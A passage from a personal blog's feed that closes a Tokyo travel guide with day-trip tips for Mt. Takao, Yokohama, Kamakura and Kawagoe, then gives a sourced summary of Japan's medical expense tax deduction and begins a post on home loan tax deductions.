I really like the Korean fried chicken: they have a lot of options for flavors and you can get melted cheese to dip it into.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2024-02-18-my-tokyo-travel-recommendations/koreanfriedchicken.jpg#lb&quot; alt=&quot;Korean fried chicken dipped into melted cheese&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;to-eat-2&quot;&gt;To eat&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://maps.app.goo.gl/wTW17vR9zfqEzJei7&quot;&gt;Byuljan&lt;/a&gt; is where the above photo was taken. It’s a stylish restaurant/bar&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://maps.app.goo.gl/KiTfnB6JK4nZTF1DA&quot;&gt;Hotel Cen&lt;/a&gt; has a low-rise rooftop cafe if you need a break from the bustling city&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://maps.app.goo.gl/NMpGL64qWbKrPTvy9&quot;&gt;Trdlo&lt;/a&gt; I haven’t been to this place, but this is a cafe that sells Korean chimney cake (similar to Hungarian &lt;a href=&quot;https://en.wikipedia.org/wiki/K%C3%BCrt%C5%91skal%C3%A1cs&quot;&gt;Kürtőskalács&lt;/a&gt;) and has good reviews&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;day-trips&quot;&gt;Day-trips&lt;/h1&gt;

&lt;p&gt;If you get tired of Tokyo or want a change of scenery, there are many great day trip options.
Here are some of my favorites.&lt;/p&gt;

&lt;h2 id=&quot;mt-takao&quot;&gt;Mt. Takao&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://maps.app.goo.gl/YYSr9tztfUCZfr6w7&quot;&gt;Mt. Takao&lt;/a&gt; is likely the most accessible mountain near Tokyo (50 minutes from Shinjuku).
Don’t expect a big hike (after all it’s only 599 m tall), and you won’t need any hiking gear, but there are a &lt;a href=&quot;https://www.takaotozan.co.jp/course/img/course_map_english.pdf&quot;&gt;few trails and attractions&lt;/a&gt; so it can be a great time spent in nature. See &lt;a href=&quot;https://livejapan.com/en/in-tokyo/in-pref-tokyo/in-mount_takao/article-a0003384/&quot;&gt;Live Japan&lt;/a&gt; and &lt;a href=&quot;https://www.japan-guide.com/e/e3029.html&quot;&gt;Japan Guide&lt;/a&gt; for more info.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2024-02-18-my-tokyo-travel-recommendations/mttakao.jpg#lb&quot; alt=&quot;On the way up to Mt. Takao&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After the hike I highly recommend the &lt;a href=&quot;https://maps.app.goo.gl/BeFhWHYZ1kn1VH3b6&quot;&gt;hot spring bath&lt;/a&gt; close to the station. Just keep in mind that as with other public baths in Japan, you need to be fully naked (there are separate men and women sections). If you forgot to bring your towel, they offer rental of those (but you might want to bring a change of clothes, so that you don’t have to put back your dirty clothes after the bath).
The hot spring also has a restaurant which can be a great way to end the day after the bath.&lt;/p&gt;

&lt;h2 id=&quot;yokohama&quot;&gt;Yokohama&lt;/h2&gt;

&lt;p&gt;Yokohama is arguably the most interesting city in Tokyo’s suburbs.
Most of the fun stuff is in the &lt;a href=&quot;https://maps.app.goo.gl/XAqvURRYvouxujtNA&quot;&gt;Minatomirai&lt;/a&gt; neighborhood near the main &lt;a href=&quot;https://maps.app.goo.gl/iC9z2MsyzE3nJRfi9&quot;&gt;Yokohama station&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;If you are interested in old and new cars, I recommend the first floor of &lt;a href=&quot;https://maps.app.goo.gl/jswn9WVBAcbXEVr46&quot;&gt;Nissan Motor Global Headquarters&lt;/a&gt; where you can see many of them.
If you want to see other engineering marvels, the &lt;a href=&quot;https://maps.app.goo.gl/VXgnmeHVK5UTRRiW8&quot;&gt;Mitsubishi Industrial Museum&lt;/a&gt; is great (turns out Mitsubishi makes everything from spaceships to deep sea submarines).&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://maps.app.goo.gl/hbPjYuUo2Y9HRkGC9&quot;&gt;Cup Noodles&lt;/a&gt; also have a museum here, and there is even a &lt;a href=&quot;https://maps.app.goo.gl/s5qo4iWpm65LsSLo8&quot;&gt;ferries wheel&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2024-02-18-my-tokyo-travel-recommendations/yokohama.jpg#lb&quot; alt=&quot;Yokohama Landmark Tower as seen from the ferries wheel&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Yokohama is also home to &lt;a href=&quot;https://maps.app.goo.gl/ZquZBBrRVtJFxpjG7&quot;&gt;Japan’s largest Chinatown&lt;/a&gt;, which you’ll find a bit further to the South (although I haven’t been here yet).
Nearby you can also see a &lt;a href=&quot;https://maps.app.goo.gl/dKxRgvssn7XBZu7B9&quot;&gt;life-size moving Gundam robot&lt;/a&gt; (also on my to-see-list, but haven’t got there yet).&lt;/p&gt;

&lt;h2 id=&quot;kamakura&quot;&gt;Kamakura&lt;/h2&gt;

&lt;p&gt;Further to the South is &lt;a href=&quot;https://maps.app.goo.gl/jbhcUMCXd9M5J8Hy6&quot;&gt;Kamakura&lt;/a&gt;, a costal city famous for its &lt;a href=&quot;https://maps.app.goo.gl/RguQGtZRr2gnUiUU6&quot;&gt;Great Buddha&lt;/a&gt; statue.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2024-02-18-my-tokyo-travel-recommendations/greatbuddha.jpg#lb&quot; alt=&quot;The Great Buddha of Kamakura&quot; /&gt;&lt;/p&gt;

&lt;p&gt;There is &lt;a href=&quot;https://maps.app.goo.gl/obssybwWf9zzof4d9&quot;&gt;another Buddhist temple&lt;/a&gt; nearby that dates back to the 8th century and has a nice garden.
Near this temple there is &lt;a href=&quot;https://maps.app.goo.gl/GjojP7xymuok3HKq6&quot;&gt;Kannon Cafe&lt;/a&gt;, a modern, stylish place that I recommend (it’s just a cafe, so don’t go out of your way for it, but it’s a nice place if you are nearby).&lt;/p&gt;

&lt;p&gt;Kamakura being a costal town also has &lt;a href=&quot;https://maps.app.goo.gl/BaMwdnuyHMxK8HUX7&quot;&gt;a sandy beach&lt;/a&gt;, and further down the coast there is a &lt;a href=&quot;https://maps.app.goo.gl/WuGTzX642bZANRS38&quot;&gt;modern lighthouse&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2024-02-18-my-tokyo-travel-recommendations/kamakura_beach.jpg#lb&quot; alt=&quot;Kamakura beach with Enoshima Sea Candle in the background&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;kawagoe&quot;&gt;Kawagoe&lt;/h2&gt;

&lt;p&gt;North of Tokyo is &lt;a href=&quot;https://maps.app.goo.gl/PWJPdWumnv45PQJz8&quot;&gt;Kawagoe&lt;/a&gt;, an old castle town with many of its buildings dating back to the &lt;a href=&quot;https://en.wikipedia.org/wiki/Edo_period&quot;&gt;Edo period&lt;/a&gt; (1603-1868).&lt;/p&gt;

&lt;p&gt;The main attractions are along &lt;a href=&quot;https://maps.app.goo.gl/adjBQpW9jyiLSgHb9&quot;&gt;the shopping street&lt;/a&gt; including the &lt;a href=&quot;https://maps.app.goo.gl/sQcv5G1zqyqGtj5p7&quot;&gt;Kawagoe Matsuri Museum&lt;/a&gt; which is about the local festival held in October (if you happen to be here that time, you can also see the festival, but be prepared to the crowds).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2024-02-18-my-tokyo-travel-recommendations/kawagoe.jpg#lb&quot; alt=&quot;Toki no Kane clock tower in Kawagoe during their yearly festival&quot; /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Medical expense tax deduction in Japan (医療費控除)</title>
   <link href="https://szabo.jp/2024/02/03/medical-tax-deduction/"/>
   <updated>2024-02-03T00:00:00+00:00</updated>
   <id>https://szabo.jp/2024/02/03/medical-tax-deduction</id>
   <content type="html">&lt;p&gt;In Japan if one pays more than 100,000 yen of medical expenses in a calendar year, they can deduct it from their pre-tax income (usually leading to an income tax refund).
In this post I’ll attempt to summarize the rules of this.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;As with all my posts, this is not tax advice and do your own research before making any decision. Also if you find any inaccuracy or mistake, please leave a comment at the end, so that I can correct it.&lt;/em&gt;&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;whos-expenses&quot;&gt;Who’s expenses&lt;/h2&gt;

&lt;p&gt;Your and any relative’s that lives with you if you paid for their medical expense.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;その年の1月1日から12月31日までの間に自己または自己と生計を一にする配偶者やその他の親族のために医療費を支払った場合において、その支払った医療費が一定額を超えるときは、その医療費の額を基に計算される金額（下記「医療費控除の対象となる金額」参照））の所得控除を受けることができます。これを医療費控除といいます。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;If you or your spouse, who shares a household with you, pay medical expenses for yourself or other relatives during the period from January 1 to December 31 of the year, and the paid medical expenses exceed a certain amount, you can receive an income deduction based on the amount of those medical expenses (see below for the amount eligible for the medical expense deduction). This is called a medical expense deduction.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href=&quot;https://www.nta.go.jp/taxes/shiraberu/taxanswer/shotoku/1120.htm&quot;&gt;Source&lt;/a&gt;, translated with ChatGPT.&lt;/p&gt;

&lt;p&gt;You can deduct your spouse’s expense even if they are not your dependent, assuming you paid for it (&lt;a href=&quot;https://www.nta.go.jp/law/shitsugi/shotoku/05/25.htm&quot;&gt;source&lt;/a&gt;). Even the medical expenses of your sister’s child can be deducted, if you live together and you paid for it (&lt;a href=&quot;https://www.nta.go.jp/law/shitsugi/shotoku/05/82.htm&quot;&gt;source&lt;/a&gt;).&lt;/p&gt;

&lt;h2 id=&quot;the-amount&quot;&gt;The amount&lt;/h2&gt;

&lt;p&gt;The amount one can deduct is calculated by:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(incurred medical expenses) - (any compensation, insurance payout, etc.) - 100,000 yen
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;with a maximum of 2 million yen.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;医療費控除の金額は、次の式で計算した金額（最高で200万円）です。&lt;/p&gt;

  &lt;p&gt;（実際に支払った医療費の合計額-（1）の金額）-（2）の金額&lt;/p&gt;

  &lt;p&gt;（1）保険金などで補てんされる金額&lt;/p&gt;

  &lt;p&gt;（例） 生命保険契約などで支給される入院費給付金や健康保険などで支給される高額療養費・家族療養費・出産育児一時金など&lt;/p&gt;

  &lt;p&gt;（注）保険金などで補てんされる金額は、その給付の目的となった医療費の金額を限度として差し引きますので、引ききれない金額が生じた場合であっても他の医療費からは差し引きません。&lt;/p&gt;

  &lt;p&gt;（2）10万円&lt;/p&gt;

  &lt;p&gt;（注）その年の総所得金額等が200万円未満の人は、総所得金額等の5パーセントの金額&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;The amount of the medical expense deduction is calculated using the following formula (up to a maximum of 2 million yen):&lt;/p&gt;

  &lt;p&gt;(Total amount of actual medical expenses paid - Amount (1)) - Amount (2)&lt;/p&gt;

  &lt;p&gt;(1) Amount compensated by insurance, etc.&lt;/p&gt;

  &lt;p&gt;(Example) Such as hospitalization benefits paid under life insurance contracts, or high-cost medical care, family medical care, and lump-sum childbirth and childcare benefits paid by health insurance.&lt;/p&gt;

  &lt;p&gt;(Note) The amount compensated by insurance, etc., is deducted up to the amount of medical expenses that were the purpose of the benefit. Therefore, even if there is an amount that cannot be fully deducted, it will not be deducted from other medical expenses.&lt;/p&gt;

  &lt;p&gt;(2) 100,000 yen&lt;/p&gt;

  &lt;p&gt;(Note) For people whose total annual income, etc., is less than 2 million yen, the amount is 5 percent of the total annual income, etc.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href=&quot;https://www.nta.go.jp/taxes/shiraberu/taxanswer/shotoku/1120.htm&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This also means that medical deduction can only be used if the medical expenses are over 100,000 yen.&lt;/p&gt;

&lt;h2 id=&quot;which-expenses-are-included&quot;&gt;Which expenses are included&lt;/h2&gt;

&lt;p&gt;In principle (quotes are translations of &lt;a href=&quot;https://www.nta.go.jp/taxes/shiraberu/taxanswer/shotoku/1122.htm&quot;&gt;this page&lt;/a&gt;):&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Medical treatment by a doctor or dentist (it has to solve a problem. Check-ups and preventative care is excluded. Vaccines are also excluded, unless &lt;a href=&quot;https://www.nta.go.jp/law/shitsugi/shotoku/05/38.htm&quot;&gt;in special cases&lt;/a&gt;)
    &lt;blockquote&gt;
      &lt;p&gt;Compensation for medical treatment or therapy by a physician or dentist (however, expenses for medical examinations and honoraria to physicians, etc. are generally not included).&lt;/p&gt;
    &lt;/blockquote&gt;
  &lt;/li&gt;
  &lt;li&gt;Medicine necessary for treatment
    &lt;blockquote&gt;
      &lt;p&gt;Consideration for the purchase of medicines necessary for medical treatment or recuperation (the purchase of medicines such as cold remedies for a cold is considered a medical expense, but the purchase of medicines used for disease prevention or health promotion, such as vitamins, is not considered a medical expense).&lt;/p&gt;
    &lt;/blockquote&gt;
  &lt;/li&gt;
  &lt;li&gt;Necessary hospital stays
    &lt;blockquote&gt;
      &lt;p&gt;3 Compensation for the provision of personal services to be admitted to a hospital, clinic, long-term care health facility for the elderly, long-term care medical care hospital, designated long-term care medical facility for the elderly, designated long-term care welfare facility for the elderly, designated community-based long-term care welfare facility for the elderly, or midwifery home&lt;/p&gt;
    &lt;/blockquote&gt;
  &lt;/li&gt;
  &lt;li&gt;Traditional Chinese medicine and other alternative medical treatments, if they are to treat a medical issue
    &lt;blockquote&gt;
      &lt;p&gt;4 Compensation for treatment by anma, massage, shiatsu, acupuncture, moxibustion, and judo therapy therapists (however, this does not include treatment that is not directly related to treatment such as relieving fatigue or improving physical condition).&lt;/p&gt;
    &lt;/blockquote&gt;
  &lt;/li&gt;
  &lt;li&gt;Travel expenses to the hospital (with some exceptions) - generally only public transport costs (train, bus) are included, or taxi if public transport is not available. Expenses related to going by private car (parking, fuel) is not included
    &lt;blockquote&gt;
      &lt;p&gt;(1) Expenses for hospital visits to receive medical treatment by doctors, etc., transportation to and from doctors, etc., expenses for room and board during hospitalization, and expenses for the purchase or rental of medical equipment such as corsets, which are usually necessary.&lt;/p&gt;

      &lt;p&gt;(Note 1) Taxi expenses are not included in the deductible expenses unless public transportation such as trains and buses are not available.&lt;/p&gt;

      &lt;p&gt;(Note 2) Gasoline and parking fees for hospital visits by private car are not included in the deductible expenses.&lt;/p&gt;
    &lt;/blockquote&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;There is a significant overlap between what health insurance covers in Japan (generally: treatment for a medical issue) and what can be included here, however there are additional expenses that are included in the tax deduction but not covered by insurance (e.g. pregancy-related costs, travel to hospital).&lt;/p&gt;

&lt;p&gt;NTA has &lt;a href=&quot;https://www.nta.go.jp/law/shitsugi/shotoku/01.htm#b-11&quot;&gt;a long FAQ&lt;/a&gt; on their site and I’ll list some of them that I found interesting:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.nta.go.jp/law/shitsugi/shotoku/05/09.htm&quot;&gt;Medical check-ups are excluded&lt;/a&gt; unless they find a serious disease and directly lead to a treatment&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.nta.go.jp/law/shitsugi/shotoku/05/06.htm&quot;&gt;Massage is included&lt;/a&gt;, but only if it’s for treatment of a medical condition&lt;/li&gt;
  &lt;li&gt;Medically not necessary cosmetic surgeries and dental procedures are not included, e.g. &lt;a href=&quot;https://www.nta.go.jp/law/shitsugi/shotoku/05/35.htm&quot;&gt;birthmark removal&lt;/a&gt; and &lt;a href=&quot;https://www.nta.go.jp/law/shitsugi/shotoku/05/08.htm&quot;&gt;cosmetic teeth straightening&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;However dental treatment even when &lt;a href=&quot;https://www.nta.go.jp/law/shitsugi/shotoku/05/07.htm&quot;&gt;using gold or porcelain is included&lt;/a&gt;, even though these are not covered by insurance (insurance only covers the basic materials), as long as the price is inline with general procedures&lt;/li&gt;
  &lt;li&gt;Another thing that’s not covered by insurance, but included in this is &lt;a href=&quot;https://www.nta.go.jp/law/shitsugi/shotoku/05/10.htm&quot;&gt;the cost of regular check-ups of pregnant women&lt;/a&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.nta.go.jp/law/shitsugi/shotoku/05/37.htm&quot;&gt;Infertility treatment and the cost of artificial insemination is also included&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.nta.go.jp/law/shitsugi/shotoku/05/36.htm&quot;&gt;Cost of abortion is also included&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;Checking for Down-syndrome by looking at the baby’s DNA found in the mom’s blood (&lt;a href=&quot;https://medlineplus.gov/genetics/understanding/testing/nipt/&quot;&gt;NIPT&lt;/a&gt;) is &lt;a href=&quot;https://www.nta.go.jp/law/shitsugi/shotoku/05/80.htm&quot;&gt;not included, as it is considered a check-up that doesn’t lead to treatment&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;Attending a &lt;a href=&quot;https://www.nta.go.jp/law/shitsugi/shotoku/05/11.htm&quot;&gt;course on breathing techniques to reduce the pain of labor is also excluded&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Daily purchases following a doctor’s advice are mostly excluded:
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.nta.go.jp/law/shitsugi/shotoku/05/13.htm&quot;&gt;Food purchased to follow a diet is excluded&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;The same way &lt;a href=&quot;https://www.nta.go.jp/law/shitsugi/shotoku/05/52.htm&quot;&gt;just because the doctor recommends to go to an onsen, it’s still excluded&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;Similarly &lt;a href=&quot;https://www.nta.go.jp/law/shitsugi/shotoku/05/23.htm&quot;&gt;the cost of an air purifier is also excluded, regardless if the doctor recommended it&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.nta.go.jp/law/shitsugi/shotoku/05/40.htm&quot;&gt;Gifts for doctors and nurses are also excluded&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.nta.go.jp/law/shitsugi/shotoku/05/50.htm&quot;&gt;Cost of travel to the hospital by public transport is included, but not if you go by your own car&lt;/a&gt;.
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.nta.go.jp/law/shitsugi/shotoku/05/21.htm&quot;&gt;Cost of taxi can be included, if taxi was necessary&lt;/a&gt;.&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.nta.go.jp/law/shitsugi/shotoku/05/19.htm&quot;&gt;However cost to travel to one’s hometown before childbirth (common practice to give birth close to one’s parents so that they can help with the newborn) is excluded&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.nta.go.jp/law/shitsugi/shotoku/05/24.htm&quot;&gt;If you pay in installments, only the amount paid in the year should be counted (the rest should be counted in the year it was paid, even if the medical procedure was done in an earlier year)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;One needs to deduct any insurance payment or other compensations from the medical costs when calculating the amount
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.nta.go.jp/law/shitsugi/shotoku/05/26.htm&quot;&gt;Even if the husband paid for the childbirth expenses of his wife, and the wife’s insurance paid her back, the husband has to deduct this from the amount in his calculations&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;However &lt;a href=&quot;https://www.nta.go.jp/law/shitsugi/shotoku/05/27.htm&quot;&gt;maternity allowance (money from the mother’s employer) does not need to be counted&lt;/a&gt; as it’s not insurance money&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;how-to-file-for-the-deduction&quot;&gt;How to file for the deduction&lt;/h2&gt;

&lt;p&gt;One needs to file final tax return (確定申告) to claim medical expense deductions (&lt;a href=&quot;https://www.nta.go.jp/taxes/shiraberu/taxanswer/shotoku/1120.htm#:~:text=%E5%8C%BB%E7%99%82%E8%B2%BB%E6%8E%A7%E9%99%A4%E3%81%AB%E9%96%A2%E3%81%99%E3%82%8B%E4%BA%8B%E9%A0%85%E3%81%9D%E3%81%AE%E4%BB%96%E3%81%AE%E5%BF%85%E8%A6%81%E4%BA%8B%E9%A0%85%E3%82%92%E8%A8%98%E8%BC%89%E7%AD%89%E3%81%97%E3%81%9F%E7%A2%BA%E5%AE%9A%E7%94%B3%E5%91%8A%E6%9B%B8%E3%82%92%E6%8F%90%E5%87%BA%E3%81%97%E3%81%A6%E3%81%8F%E3%81%A0%E3%81%95%E3%81%84%E3%80%82&quot;&gt;source&lt;/a&gt;).&lt;/p&gt;

&lt;h3 id=&quot;documents-to-submit&quot;&gt;Documents to submit&lt;/h3&gt;

&lt;p&gt;From &lt;a href=&quot;https://www.nta.go.jp/taxes/shiraberu/taxanswer/shotoku/1120.htm#:~:text=%E6%89%80%E8%BD%84%E7%A8%8E%E5%8B%99%E7%BD%B2-,%E6%8F%90%E5%87%BA%E6%9B%B8%E9%A1%9E%E7%AD%89,-%E5%8C%BB%E7%99%82%E8%B2%BB%E3%81%AE&quot;&gt;here&lt;/a&gt;, translated with ChatGPT:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Create a “&lt;a href=&quot;https://www.nta.go.jp/taxes/shiraberu/shinkoku/yoshiki/02/pdf/ref1.pdf&quot;&gt;Medical Expense Deduction Detailed Statement (PDF/1,024KB)&lt;/a&gt;” or “&lt;a href=&quot;https://www.nta.go.jp/taxes/shiraberu/shinkoku/yoshiki/016.pdf&quot;&gt;Self-Medication Tax System Detailed Statement (PDF/611KB)&lt;/a&gt;” from the medical expense receipt (Note 1), and attach it to your tax return.&lt;/p&gt;

  &lt;p&gt;If you have received a medical expense notification (Note 2) from your health insurance provider, attaching this notification can simplify the details required for the medical expense deduction.&lt;/p&gt;

  &lt;p&gt;Please note that to verify the details of the medical expense deduction, you may be asked to present or submit medical expense receipts (excluding those with a medical expense notification attached) until five years after the tax return deadline.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;For proof on expenses that were included in the insurance, one can use the medical expense notification from your insurance provider, and then don’t need to keep the receipts for these expenses.&lt;/p&gt;

&lt;p&gt;One can also link their MyNa Portal with e-Tax and import the medical expenses covered by insurance (&lt;a href=&quot;https://www.nta.go.jp/taxes/shiraberu/shinkoku/tokushu/keisubetsu/iryou-koujo.htm&quot;&gt;source&lt;/a&gt;):&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;マイナポータル連携を利用すると、医療費控除に使用できる医療費通知情報をマイナポータル経由で取得し、所得税の確定申告書を作成する際に、該当項目に自動入力することができます。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If you are using this system and want to include a relative’s expenses, they &lt;a href=&quot;https://faq.myna.go.jp/faq/show/7116?category_id=24&amp;amp;site_domain=default&quot;&gt;need to configure you as a proxy&lt;/a&gt; (same info on &lt;a href=&quot;https://www.keisan.nta.go.jp/r4yokuaru/ocat1/cid569.html&quot;&gt;NTA’s page&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;NTA also provides a spreadsheet called Medical Expenses Summary Form (医療費集計フォーム) that one can use to collect their expenses and &lt;a href=&quot;https://www.keisan.nta.go.jp/r3yokuaru/ocat2/ocat22/cid102.html#cmsF53D1&quot;&gt;import it directly into e-Tax&lt;/a&gt;. (&lt;a href=&quot;https://www.nta.go.jp/taxes/shiraberu/shinkoku/tokushu/keisubetsu/iryou-koujo.htm#:~:text=%E5%8C%BB%E7%99%82%E8%B2%BB%E3%81%AE%E9%A0%98%E5%8F%8E%E6%9B%B8%E3%81%8C%E5%A4%9A%E3%81%84%E5%A0%B4%E5%90%88%E3%81%AF%E3%80%81%0A%E5%8C%BB%E7%99%82%E8%B2%BB%E9%9B%86%E8%A8%88%E3%83%95%E3%82%A9%E3%83%BC%E3%83%A0%E3%81%A7%E5%85%A5%E5%8A%9B%E3%81%99%E3%82%8B%E3%81%A8%E4%BE%BF%E5%88%A9%E3%81%A7%E3%81%99%E3%80%82&quot;&gt;source&lt;/a&gt;, &lt;a href=&quot;https://www.nta.go.jp/taxes/shiraberu/shinkoku/tokushu/keisubetsu/iryou-shuukei.htm&quot;&gt;spreadsheet download&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;Details on how to file when using e-Tax or filing on paper can be found &lt;a href=&quot;https://www.keisan.nta.go.jp/r3yokuaru/ocat2/ocat22/cid102.html&quot;&gt;on this page&lt;/a&gt;.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Home loan tax deductions in Japan (as of 2024)</title>
   <link href="https://szabo.jp/2024/01/28/home-loan-tax-deduction/"/>
   <updated>2024-01-28T00:00:00+00:00</updated>
   <id>https://szabo.jp/2024/01/28/home-loan-tax-deduction</id>
   <content type="html">&lt;p&gt;Japan has a system that provides income tax deduction for people with a home mortgage in the first years of the mortgage (住宅ローン減税).
The rules have changed in the past, and which rules apply depends on when one bought/built their home.
In this post I’ll attempt to summarize the rules applicable to a home acquired in 2024.
As with all my posts, this is not tax advice and do your own research before making any decision.
Also if you find any inaccuracy or mistake, please leave a comment at the end, so that I can correct it.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;overview&quot;&gt;Overview&lt;/h2&gt;

&lt;p&gt;One with an eligible mortgage on an eligible home can deduct a percentage of the outstanding loan principal from their income tax.
There are multiple limits (maximum income, maximum amount of deduction) and also this can only be done during the first years of the mortgage.&lt;/p&gt;

&lt;h3 id=&quot;amount&quot;&gt;Amount&lt;/h3&gt;

&lt;p&gt;0.7% of the outstanding principal (used to be 1% before the change in 2020).
&lt;a href=&quot;https://www.mlit.go.jp/jutakukentiku/house/jutakukentiku_house_tk2_000017.html#:~:text=%E3%82%92%E3%81%97%E3%81%9F%E5%A0%B4%E5%90%88%E3%80%81-,%E5%B9%B4%E6%9C%AB%E3%81%AE%E3%83%AD%E3%83%BC%E3%83%B3%E6%AE%8B%E9%AB%98%E3%81%AE0.7%EF%BC%85%E3%82%92%E6%89%80%E5%BE%97%E7%A8%8E,-%EF%BC%88%E4%B8%80%E9%83%A8%E3%80%81%E7%BF%8C%E5%B9%B4%E3%81%AE&quot;&gt;Source&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;length&quot;&gt;Length&lt;/h3&gt;

&lt;p&gt;13 years for newly built homes and 10 years for existing (used to be 10 years for newly built).
&lt;a href=&quot;https://www.mlit.go.jp/jutakukentiku/house/jutakukentiku_house_tk2_000017.html#:~:text=%E6%8E%A7%E9%99%A4%E6%9C%9F%E9%96%93%E3%82%92%E6%96%B0%E7%AF%89%E4%BD%8F%E5%AE%85%E7%AD%89%E3%81%AF%E5%8E%9F%E5%89%8713%E5%B9%B4%E3%80%81%E6%97%A2%E5%AD%98%E4%BD%8F%E5%AE%85%E3%81%AF10%E5%B9%B4%E3%81%A8%E3%81%99%E3%82%8B%E3%80%82&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;eligible-home&quot;&gt;Eligible home&lt;/h3&gt;

&lt;p&gt;There are various requirements that a home has to fulfill to be eligible for this.
The major ones are:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;you have to live there&lt;/li&gt;
  &lt;li&gt;you have to move in within 6 months of the home being ready&lt;/li&gt;
  &lt;li&gt;it has to be at least 50 square meters&lt;/li&gt;
  &lt;li&gt;housing loan is for 10 years or more&lt;/li&gt;
  &lt;li&gt;you have to have bought it (so no gifting or buying it from a relative)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Full list is &lt;a href=&quot;https://www.nta.go.jp/taxes/shiraberu/taxanswer/shotoku/1211-1.htm#:~:text=%E6%BA%80%E3%81%9F%E3%81%99%E3%81%A8%E3%81%8D%E3%81%A7%E3%81%99%E3%80%82-,%E5%85%B1%E9%80%9A%E3%81%AE%E9%81%A9%E7%94%A8%E8%A6%81%E4%BB%B6,-%E6%AC%A1%E3%81%AE%E3%81%99%E3%81%B9%E3%81%A6&quot;&gt;here&lt;/a&gt;, but you should definitely check with your builder about this.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Please note that there is also an income limit, discussed later in this post.&lt;/em&gt;&lt;/p&gt;

&lt;h3 id=&quot;maximum-deduction-amount&quot;&gt;Maximum deduction amount&lt;/h3&gt;

&lt;p&gt;There is a maximum amount one can deduct (expressed in the maximum of the outstanding principal), and this depends on the quality of the house (whether it meets energy-saving and long-term housing certifications).
The limits in 2024 go from 0 to 45 million yen (4,500万円).&lt;/p&gt;

